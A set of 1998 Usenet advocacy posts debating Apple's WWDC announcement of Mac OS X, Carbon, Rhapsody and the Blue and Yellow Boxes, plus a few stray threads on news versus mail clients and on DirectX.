> Eric Bennett <ericb@pobox.com> wrote:
>
> > Apple announced today that its OS future is a revised MacOS "merged" with
> > a Rhapsody core, but the telling feature is that it largely retains (and
> > Apple is stressing) API compatibility with the current MacOS. So Apple is
> > effectively telling developers, "Screw Rhapsody." Ought to make the
> > NeXTies happy, right?
>
> Whoa! Slow down. They didn't even get that into it yet. They didn't say
> anything about screwing the next community. All I saw was the mac os toolbox
> implemented on top of rhapsody. That would be in addition to the openstep
> stuff that is already there. I for one am excited that there will be apps for
> this thing that I am used to (photoshop, macromedia stuff, etc.). Don't judge
> the software strategy untill you have heard the whole story.
>
> wes
>
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Mon, 11 May 1998 17:31:40 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1105981731400001@news-proxy.cso.uiuc.edu>
References: <6j7roi$m57$1@nnrp1.dejanews.com>
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In article <6j7roi$m57$1@nnrp1.dejanews.com>, spagiola@usa.net wrote:
> I'm not very clear on how the MacOS X announced by Steve Jobs at WWDC relates
> to the various Rhapsody components (which will apparently be "folded into"
> MacOS X). The best I can figure is that MacOS X will essentially be Rhapsody
> CR2, but with Carbon replacing the previously planned "Blue Box" environment
> to maintain compatibility with Legacy Mac apps. Is this about right, or am I
> off base?
You could be right. It's not entirely clear right now.
I think everything up to the Blue Box is right. What I believe is happening
is that there will be the "Carbon" API that is a subset of the current Mac
OS API which has been modified so that apps using it can take advantage of
preemptive multitasking, protected memory, and better virtual memory. This
will require modification of current apps to run in this new environment.
Current Mac OS apps will probably not run unmodified in this environment.
In addition to the Yellow Box and the Carbon APIs, there will be the Blue
Box. (This is mostly speculation on my part since this wasn't entirely
clear). Yellow Box covers the Rhapsody part. The Carbon APIs cover the
updated Mac OS part, and the Blue Box covers the legacy Mac OS apps part so
that old PPC and 68k apps will still run in Mac OS X.
In a nutshell, the Blue Box will be included with Mac OS X (as I understand
today's announcements anyway... I could be wrong).
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 11 May 1998 23:52:13 GMT
Organization: P & L Systems
Message-ID: <6j82vd$1cc$1@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104>
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Cc: ericb@pobox.com
In <ericb-1105981832070001@132.236.171.104> Eric Bennett wrote:
> It's looking more and more like Apple didn't get much useful stuff out of
> the NeXT purchase than Mr. Jobs. They're paying little attention to the
> OS they paid for with $400 million. I'm certainly paying attention to it,
> but I wish Apple would too.
>
Well, sadly you're blaming the wrong group.
The people to blame are the Mac developers, and the Big Brand names in
particular, who didn't stand up and embrace Rhapsody.
What Apple has had to do is make itr even easier for these people to come to
the Rhapsody table, and blur things such that it's now almost impossible for
anyone to see exactly where all that NeXT-based magic has gone.
In some respects this is actually quite good. To look at it from the
perspective of the average MacOS-user -- who wants to run legacy apps in a
compatibility environment? Given Carbon (which you could regard as being a
step beyond even a transparent BlueBox -- a neat analogy, actually; recall
that one form of Carbon is diamond...) everyone is a first class citizen.
The most important thing is to read the Press Release carefully:
(1) Rhapsody will ship in the Fall;
(2) MacOS X will contain an advanced software development environment.
ASDE = YellowBox. It's just a crap name for it, that's all.
But heck, Apple went from V-Twin (sexy) to AIAT (what?!?) :-)
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 00:04:32 GMT
Organization: P & L Systems
Message-ID: <6j83mg$1cc$2@ironhorse.plsys.co.uk>
References: <B17C8D50-7E886@206.165.43.134>
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Cc: english@primenet.com
In <B17C8D50-7E886@206.165.43.134> "Lawson English" wrote:
> So that's it?
>
> Factor out all the "bad" system/toolbox calls, add a few new ones, provide
> tools to make support for MacOS 10 (a skip of 9 saves time?), and
> everything is good?
>
> Rhapsody is now just a framework (I gather) to make developing for MacOS
> better?
>
> Ummmm...
>
> Sounds like a $400 million solution to me.
>
> Did I miss something?
>
> Did this sound a little high on hype and low on content? I presume that the
> rest of the conference will flesh things out...
>
I really don't believe it.
Apple announces that it's pouring resources into providing an even easier
transition to the new OS for traditional MacOS developers, and yet Lawson
still complains.
I've got to be honest, despite my self-assurance over the last few weeks this
isn't exactly what I'd expected, and there's a chance I owe a couple of
people an apology (the most likely candidate being Brad Hutchings), however
the revised strategy does now seem fairly clear, and a lot more likely to win
favour with the conservative members of the MacOS community.
As I've said elsewhere, looking at things from the perspective of the
long-time MacOS-user, who wants to run their "legacy" apps in a
"compatibility environment"? What the new strategy says is that now everyone
is a first class citizen. And that includes YellowBox developers too. Only
now we're ASDE-developers (advanced software development environment -- cf
the press release).
The bottom line is that Apple has still got a lot for its $400M -- it's
because of the whining of some parts of the community that the benefits are
going to be less imediately obvious than they might otherwise have been.
mmalc.
From: stevenj@alum.mit.edu (Steven G. Johnson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Mon, 11 May 1998 20:25:14 -0400
Organization: Massachusetts Institute of Technology
Message-ID: <stevenj-ya02408000R1105982025140001@news.mit.edu>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <pulsar-ya02408000R1105981731400001@news-proxy.cso.uiuc.edu> <stevenj-ya02408000R1105982005400001@news.mit.edu> <stevenj-ya02408000R1105982018410001@news.mit.edu>
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stevenj@alum.mit.edu (Steven G. Johnson) wrote:
>6) MacOS X will run on multiple processors, natively. Initially, PPC and
>x86, and later on Merced. (And, in my dreams, Alpha. :-) Both Carbon and
>Yellow apps will run on MacOS X on all processors with a simple recompile
>(and without even a recompile for Java Yellow apps).
... and, I forgot to mention, I doubt Blue box will ever run on anything
other than PPC. It's just not practical to emulate a large register set
(PPC) on a small register set (x86), although the other way around works
(e.g. 68k on PPC). It would be conceivable on Merced (even larger register
set), but by the time Merced becomes important, MacOS < X emulation won't
be crucial for Apple anymore.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Mon, 11 May 1998 16:04:22 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1105981604220001@dante.eng.uci.edu>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <slrn6lev9v.4k9.sal@panix3.panix.com>
In article <slrn6lev9v.4k9.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>If Steve just came out and said that he could have saved up all a couple
>of grey hairs...
We have a theory that Steve decided it was better to piss off the
Rhapsody/YellowBox people and satisfy them by Friday through other
sessions than to piss off MacOS people and have them leave and not attend
the sessions at all as happened last year with the Rhapsody replacing
MacOS stuff.
Basically Steve was as accomodating to the MacOS guys as possible,
promising all the goodies for their Mac apps with only a bit of a rewrite,
while also being so horribly vague that you couldn't really say that he
killed MacOS/Rhapsody/YB/etc.
So, I imagine that things will look rosier by Friday, and that MacOS
people will be increasingly attracted to MacOS X (Rhapsody) than they have
been up to this point. Assuming that our theory is somewhat correct, that
is...
-Bob Cassidy
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 11 May 1998 22:54:21 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu>
References: <ericb-1105981718430001@132.236.171.104>
On Mon, 11 May 1998 17:18:43 -0400, Eric Bennett <ericb@pobox.com> wrote:
:
:http://www.zdnet.com/macweek/mw_1219/nw_wwdcjobs.html
:
:Apple announced today that its OS future is a revised MacOS "merged" with
:a Rhapsody core, but the telling feature is that it largely retains (and
:Apple is stressing) API compatibility with the current MacOS. So Apple is
:effectively telling developers, "Screw Rhapsody." Ought to make the
:NeXTies happy, right?
:
:Apple also announced that this new OS will only run on G3 machines. That
:screws just about everybody else. Of course, by the time they actually
:ship the thing, given the usual delays (12 months for Rhapsody), maybe
:this is okay. But this *really* ought to upset the people who are already
:upset about the likelihood of not being able to run Rhapsody on their
:first generation PMacs. What if they bought an 8600 so they could run
:Rhapsody? Now Steve tells them they have to buy *another* Mac.
:Ridiculous.
:
:Way to go, Apple. If Apple can actually pull this off, I probably won't
:care, but if this goes the way of Copland and Rhapsody, Apple's in big
:trouble, and each time they do this they lose more customers (at some
:point they're not going to have any left). This is just one more
:90-degree course change in OS strategy, and is an excuse for another
:year's delay in delivering a real OS. (Rhapsody was the excuse we got
:after Copland. Now "MacOS X" is the excuse we're getting after Rhapsody.)
:
:For those who say, "But Rhapsody will still ship!," I ask, where is
:Apple's modern mainstream OS? It sounds to me like Apple isn't going to
:encourage Rhapsody development.
Apple has been trying to push YB for a while, but the 'big hitters' kept on
saying that wasn't good enough. It's not going to be Steved.
:Instead, they're making users wait
:*another* year for *another* promised modern OS. Somebody at Apple has to
:stop these ridiculous course changes. They have to SHIP SOMETHING! They
:can't keep promising better and better stuff but never ship any of it.
What exactly have they not shipped?
:[I concede the point that Rhapsody would likely have fewer native apps in
:1999 that MacOS X will have *IF* MacOS X actually meets its 1999 shipping
:date. I am still very skeptical. Rhapsody + BlueBox should be a fair
:solution until MacOS X ships... I hope...]
What are you complaining about?
They are providing even more than what was promised before. Nobody ever
thought that much of the MacOS toolkit was ever going to be *native* on
Rhapsody. I can't believe they actually have the time to do all this, but
it appears I am wrong, and Tevanian is managing better than ever.
It's better than "Sonata", it's better than "Copland" and better than
"Gershwin".
Last year's plan was to have parallel developement as far as the eye could
see and hope that eventually people will take the plunge and get
Rhapsodized.
It's now the same plan, but enhanced. What they're doing now is going to
make that transition happen much faster, and take a finite, bounded amount
of time.
And, with 90% probability, Microsoft Office will run natively on
''Rhapsody''.
Sheesh. If you are upset, just buy Rhapsody 1.0 and plaster a "MacOS
forever" sticker on the box. Or if you are upset the other way around,
when you get MacOS 10, cross it out and write "OpenStep 5.0, now with
Macintosh Compatibility" on it.
If you were going to stick with MacOS before, what is going to be different?
If you were going to go to Rhapsody before, what is going to be different?
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 00:30:52 GMT
Organization: P & L Systems
Message-ID: <6j857s$1cc$4@ironhorse.plsys.co.uk>
References: <B17C8D50-7E886@206.165.43.134>
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Cc: english@primenet.com
In <B17C8D50-7E886@206.165.43.134> "Lawson English" wrote:
> Did I miss something?
>
You will do:
Carbon Reference, p 72:
"Due to limited developer adoption, Carbon will not support QuickDraw GX."
Best wishes,
mmalc.
From: spagiola@usa.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Mac OS X
Date: Mon, 11 May 1998 21:49:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6j7roi$m57$1@nnrp1.dejanews.com>
I'm not very clear on how the MacOS X announced by Steve Jobs at WWDC relates
to the various Rhapsody components (which will apparently be "folded into"
MacOS X). The best I can figure is that MacOS X will essentially be Rhapsody
CR2, but with Carbon replacing the previously planned "Blue Box" environment
to maintain compatibility with Legacy Mac apps. Is this about right, or am I
off base?
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
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From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 00:25:27 GMT
Organization: P & L Systems
Message-ID: <6j84tn$1cc$3@ironhorse.plsys.co.uk>
References: <pulsar-ya02408000R1105981551070001@news-proxy.cso.uiuc.edu> <B17CCC79-3D130@206.165.43.153>
<pulsar-ya02408000R1105981810110001@news-proxy.cso.uiuc.edu>
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Cc: pulsar@springnet1.com
In <pulsar-ya02408000R1105981810110001@news-proxy.cso.uiuc.edu> Pulsar wrote:
> Those that mentioned anything about old Mac OS apps
> mentioned that old Mac OS apps will run on Mac OS X, but not take advantage
> of PMT/PM/VM and such. I take this to mean that there will be a Blue Box
> for Mac OS X. Since both the Yellow Box and the Carbon APIs are 100% PPC
> native (from what Steve said), support for older applications must come
> from something else (I assume).
>
From the Carbon Reference paper (p65):
MacOS X will not run 68K code.
Best wishes,
mmalc.
From: <gbh@middlemarch.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 17:48:39 -0400
Organization: Verio Mid-Atlantic
Message-ID: <Pine.GSO.3.96.980511174439.7678A-100000@shell.clark.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
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To: Lawson English <english@primenet.com>
In-Reply-To: <B17CAD54-99FF@206.165.43.2>
> [...]
> And why is this all that neat? It STILL fragments the MacOS market (carbon
> vs non-Carbon) without providing a compelling reason for most MacOS
> developers to use it (here's a hint: more than 1/2 of all installed
> Macintoshes will NOT run Carbon applications because they are not
> PowerMacs)...
The question is whether Carbon will be bundled with
Yellow Box, including YB/Windows. If so, then Carbon
based apps would be cross platform giving developers
a much larger user base.
--Greg
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: So THAT is the OS stratetgy?
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104>
Message-ID: <35579c6d.0@news.depaul.edu>
Date: 12 May 98 00:48:45 GMT
In comp.sys.next.advocacy Eric Bennett <ericb@pobox.com> wrote:
> And if you believe some reports, there are now three APIs for OS X: System
> 7, Carbon, and perhaps Yellow Box too. If we're really lucky, the new
> "Carbon" APIs will be taken from YB, but I'm not sure if that's workable
> given Apple's claims of easy porting to Carbon.
You have absolutely no understanding of what Carbon is. Give it up.
--
"... and subpoenas for all." - Ken Starr
From: Dave Koran <davek@spam.someone.else.blarg.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 17:33:41 -0700
Organization: Blarg! Online Services - 206/441-9109
Message-ID: <35579A61.7506F33D@spam.someone.else.blarg.net>
References: <B17C8D50-7E886@206.165.43.134>
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Hi Lawson, et. al.,
Lawson English wrote:
>
> So that's it?
>
> Factor out all the "bad" system/toolbox calls, add a few new ones, provide
> tools to make support for MacOS 10 (a skip of 9 saves time?), and
> everything is good?
>
> Rhapsody is now just a framework (I gather) to make developing for MacOS
> better?
>
> Ummmm...
>
> Sounds like a $400 million solution to me.
>
> Did I miss something?
>
> Did this sound a little high on hype and low on content? I presume that the
> rest of the conference will flesh things out...
>
> And what is the WWDC attendance, anyway? As bad, worse, or better than
> expected?
>
> ----------------------------------------------------------------------
> Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
> ----------------------------------------------------------------------
Thought you might be interested in reading this
amusing and highly prophetic April Fool's Day Joke
(or so I thought) from *last* year:
"Apple Announces Cross-Platform Strategy for "MacOS X""
<http://alumni.caltech.edu/~ernest/970401.pr.rel.osx.html>
Authored by Ernest N. Prabhakar, email: ernest@alumni.caltech.edu
Hopefully the author will continue to provide
us such enlightening fun in the future.
Gee Ernie, got any good stock tips?
Regards,
Dave Koran
e-mail: davek@blarg.net
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 98 13:07:35
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May8130735@slave.doubleu.com>
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In-reply-to: "Michael J. Peck"'s message of Fri, 08 May 1998 17:57:43 +0000
In article <35534797.A9E11506@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
Scott Hess wrote:
> "Generally" in a more general sense, folks. You can purchase as
> many Pop3 boxes as you like, but you can't just go reading any
> Pop3 box you choose. You _can_ go reading any newsgroup you
> choose.
That so? Try reading the "convex.*" newsgroups from your server.
Such a useful discussion, with such wonderful nit-picking on either
side. It's to the point where you don't even have to address a
posting's point, you can just ignore it and say whatever you want!
You can attack random posters regardless of whether they are actually
arguing _against_ you! Such fun! Say we chopped all of the telecom
connections between the US and the rest of the world. Does the fact
that news can no longer propagate between the US and the rest of the
world materially change the nature of news versus email?
Within that group of users which _can_ access the convex.* newsgroups,
all of them can access any newsgroup, while they can't access all of
that set of pop3 mailboxes accessable by everyone in the group.
Beyond that, I, too, have multiple pop3 mailboxes, yet all email
messages end up in the same place, processed by the same filters. For
the most part, I _don't_ want all news postings to be intermingled.
Since I download feeds from multiple hosts, I _do_ want identical
groups from each feed to feed to the same local feed, which is
nominally the same things that's happening when you have multiple pop3
mailboxes.
For all that the argument continues, regardless of how we'd like it to
be, news _is_ sender-organized, and mail _is_ receiver-organized.
Regardless of whether you think news and mail should be accessed from
a single app or not, the nature of the underlying transfer mechanism
does have to be addressed sensibly. That's the nub of the problem.
[I, personally, think that combining them would be useful, but I've
yet to see a combination which I felt obviously _worked_. Most
combinations have clearly visible compromises,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: So THAT is the OS stratetgy?
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <ericb-1105981859560001@132.236.171.104>
Message-ID: <35579cfb.0@news.depaul.edu>
Date: 12 May 98 00:51:07 GMT
In comp.sys.next.advocacy Eric Bennett <ericb@pobox.com> wrote:
> True, but you have to admit that their track record is hardly inspiring.
>True, but you have to admit that their track record is hardly inspiring.
Whose track record?
Jobs & Tevanian? Seems to me they're kicking ass. Bigtime.
Who are you talking about?
Do they even WORK at Apple any more? Probably not. So how
exactly does their performance impact Apple's performance now?
I bet the last person to live at your place was a real bastard.
That makes you a bastard too, right?
--
"... and subpoenas for all." - Ken Starr
From: jhimmel@i-2000.com (James Himmelman)
Newsgroups: comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: 11 May 1998 22:06:05 GMT
Organization: I-2000 Inc., Internet Services
Message-ID: <uprsNDlpp0Dh-pn2-VItRWmWTlyDm@dyn67.tc1.mineola.i-2000.net>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com
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On Sun, 10 May 1998 19:20:12, dmccoy@REMOVE_MEmnsinc.com (David H.
McCoy) wrote:
> > Can you tell me what DirectX would do for me? I don't play computer
> > games, so I'm wondering what I might be missing by not having directX.
> > I use my computer for letters (AmiPro/2), several database's involving
> > costomer information (DBExpert and now looking at Approach/2),
> > acounting (CA Simply accounting for OS/2), faxing (FaxworksPro/2),
> > Personal information (scheduling mainly - IBM Works PIM and now
> > looking at Organizer/2), access to my banking (WinOS/2), access to
> > trading (WinOS/2 and now through Schwab Internet access), and of
> > course Internet interaction (Netscape/2, MR/2 ICE, ProNews/2).
> > [[[ James Himmelman - jhimmel@i-2000.com ]]]
> For you, directX would do little. But for people who play games, for fast
> multimedia playback, for videoconferencing, these are all features that
> benefit for DirectX. For instance, in OS/2 there are several MPEG players
> that use Dive for faster playback. Dive does nothing for you but for those
> that use MPEG, they get substantial benefits.
I see. Fair enough. I guess I don't have much use for the new 3D
accelerators either. It looks like game playing may be one of the most
compelling reasons (maybe THE most) to switch to Win95, or at least
set up a bootable Win95 partition. Maybe it is my disinterest in
computer games that makes me still feel comfortable with OS/2. For the
work I do, OS/2 is still working great, and I MUCH prefer the
interface over what is offered on Win95/NT.
[[[ James Himmelman - jhimmel@i-2000.com ]]]
From: gcheng@uni.uiuc.edu (Guanyao Cheng)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 00:51:32 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6j86ek$336$1@vixen.cso.uiuc.edu>
References: <pulsar-ya02408000R1105981551070001@news-proxy.cso.uiuc.edu> <B17CCC79-3D130@206.165.43.153>
"Lawson English" <english@primenet.com> writes:
>I missed the part about the BLue Box in MacOS X. When was this announced?
Mac OS X is just a renamed Rhapsody w/ Carbon API's from what I gleamed,
and Rhapsody has a blue box, so why wouldn't MacOS X have a blue box?
Guanyao Chneg
--
Guanyao Cheng "And I personally assure you, everybody here, that
gcheng@uiuc.edu if Deep Blue will start playing competitive
http://www.uiuc.edu/ph chess, I personally guarantee you I'll
/www/gcheng tear it to pieces" -- Garry Kasparov
From: stevenj@alum.mit.edu (Steven G. Johnson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 20:34:07 -0400
Organization: Massachusetts Institute of Technology
Message-ID: <stevenj-ya02408000R1105982034070001@news.mit.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100>
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In article <35593b48.6388203@198.0.0.100>,
>[ ... "Mac mantras" 1996-1998 ... ]
>
>Seriously though, has anyone here noticed that apple seems to announce
>a "revolutionary" new OS about every 18 months? there is a word for
>that... Vapor.
Sigh...how long are people going to complain about Copland? Rhapsody IS
GOING TO SHIP. MacOS X is just the next step after that, which will bring
all of the existing MacOS developers on board. This is not a
bait-and-switch--it is continuing and supporting what Rhapsody is starting.
From: stevenj@alum.mit.edu (Steven G. Johnson)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 20:50:45 -0400
Organization: Massachusetts Institute of Technology
Message-ID: <stevenj-ya02408000R1105982050450001@news.mit.edu>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu>
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<pulsar@springnet1.com (Pulsar) wrote:
>It's not all that Copland-like since Carbon will break nearly all current
>Mac OS apps.
Carbon will break ALL current MacOS apps in the sense that it will not
attempt to maintain binary compatibility (or, more likely, have it only in
a Blue Box). This is a major difference, and a big advantage, compared to
Copland. Current MacOS apps will have to be tweaked somewhat at the source
code level and recompiled for MacOS X.
MacOS X will also not tolerate the ugly hacks that some people (e.g.
Microsoft) perpetrated in MacOS 7/8; these had caused tons of trouble in
Copland. Carbon simply throws those small parts of the MacOS toolbox that
are incompatible with a modern OS, instead of killing Apple by trying to
support them.
Cordially,
Steven G. Johnson
(who doesn't know why he's jumping into all these flamewars)
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 19:59:08 -0500
Organization: Prairie Group
Message-ID: <MPG.fc15adad12883c99896a7@news.supernews.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
In article <B17CAD54-99FF@206.165.43.2>, english@primenet.com says...
> Pulsar <pulsar@springnet1.com> said:
>
> >
> >It's not all that Copland-like since Carbon will break nearly all current
> >Mac OS apps. The goal in Copland was not to do that. The advantage to
> >having Carbon (as far as I understand from the speech) is that it doesn't
> >take all that much to modify a Mac OS app to work with Carbon. A Blue Box
> >like thing will still be necessary to run all Mac OS apps (ie. the old
> >ones), but then those apps will be stuck with the CMT and lack of PM
> within
> >the Blue Box. Carbon allows apps written for it to take advantage of all
> >the buzzwords just like Yellow Box apps.
> >
> >Mac OS X sounds rather like Gershwin, Copland, OpenStep, and the Mac OS
> >combined. That'll be neat if they can pull it off.
>
> But non-Carbon (including emulated 68K, I wonder?) apps are supposed to
> work with MacOS 10 also.
>
> And why is this all that neat? It STILL fragments the MacOS market (carbon
> vs non-Carbon) without providing a compelling reason for most MacOS
> developers to use it (here's a hint: more than 1/2 of all installed
> Macintoshes will NOT run Carbon applications because they are not
> PowerMacs).
It's neat because there have been three complaints Windows users have had
about Macs:
(a) Cost more
(b) Less software
(c) Crashes more.
Apple's done a pretty good job at slashing complaint A. Complaint B is
very overdone (flip through a recent MacWarehouse catalog). OSX seems to
be aimed at obliterating complaint C.
>
> And I'd like to hear from professional (since apparently I don't count) Mac
> developers:
>
> are you pleased with the idea of losing your ability to run your apps on
> pre-8.1-enabled Macintoshes?
Ideally? No. If there's enough demand, we can do conditional
compilations to support raw 7.x applications.
But, to be blunt, those who are using pre-8.1-enabled Macintoshes don't
buy much software. Yes, they buy some, but those who are happy as a clam
running System 6 on an LC III are happy as a clam with the software they
have.
We've gone through this before. There's a whole slew of features that
were in System 7 that weren't in System 6, features that changed the
basic design of a program. Eventually, most developers had to give up on
System 6. It looks like supporting both X and 7 will be far easier for
as long as we want to.
In an ideal world, OSX would work with the original Macintosh 128 and
everyone would be using it. I really do hope that it will run on PPC
computers as well as G3 computers. If not, it better work on computers
with a G3 upgrade (I like my 1400c).
But, we don't live in an ideal world. There are not infinite resources.
I hope and pray Apple finally follows through and gets this done.
Because, OSX, if it does what they say it does, gives us the core to
continue building on.
Donald
From: macman@home.msen.com (Mac Man)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 20:47:57 -0500
Organization: Msen, Inc.
Message-ID: <macman-1105982047570001@tr33-d21.msen.net>
References: <ericb-1105981718430001@132.236.171.104> <slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu>
3(Yt_\=:XD2Ea\#{|~MLNRDcoW]$ewz6Oxs-aeR]RqSp)^-q2}CZTzi
In article <slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu>, mbkennel <replace
this with '@'> yahoo.com wrote:
>If you were going to stick with MacOS before, what is going to be different?
>If you were going to go to Rhapsody before, what is going to be different?
I don't think the main issue is with home/office users here. I think the
big issue is with people who were really looking forward to developing on
Rhapsody with it's "write once, run anywhere" abilities. Not to mention
that if Apple kills Rhapsody for Intel, -a lot- of people are going to be
seriously pissed.
--
Mac Man
macman@home.msen.com
Microsoft's slogan -should- read: "Where do you want
to go today? It doesn't matter, you're coming with us."
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 20:06:21 -0500
Organization: Prairie Group
Message-ID: <MPG.fc15c8a4fb752b59896a9@news.supernews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100>
In article <35593b48.6388203@198.0.0.100>, nhughes@sunflower.com says...
> On or about Mon, 11 May 1998 18:32:07 -0400, in comp.sys.mac.advocacy
> ericb@pobox.com (Eric Bennett) exclaimed :
>
> >> You're overreacting! There are still things that are unclear! Making
> >> definitive judgements based on this evidence is only going to get you
> >> angry.
> >
>
> Mac mantra 1996:
>
> When copland comes out its gonna be way better than NT
>
> Mac mantra 1997:
>
> When Rhapsody comes out, its gonna kick NTs butt.
>
> Mac mantra 1998:
>
> Macos10 comes out, NT's going down.
>
Wintel Troll mantra May 10, 1998
Without PMT or Protected memory, Mac is doomed
Wintel Troll mantra May 11, 1998
This plan that will give the Mac PMT and Protected memory will
DOOOOOOOOOOOOOOM the Mac!
Donald
From: telam@iquest.net (Tom Elam)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 23:52:58 GMT
Organization: HUH?
Message-ID: <35598f0b.33265906@news.newsguy.com>
References: <ericb-1105981718430001@132.236.171.104>
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On Mon, 11 May 1998 17:18:43 -0400, ericb@pobox.com (Eric Bennett) wrote:
Buy from a monopoly and this is the way you get treated.....they give you what
they want to give when they want to give it to you. Macopoly or Winopoly, take
you choice.
>
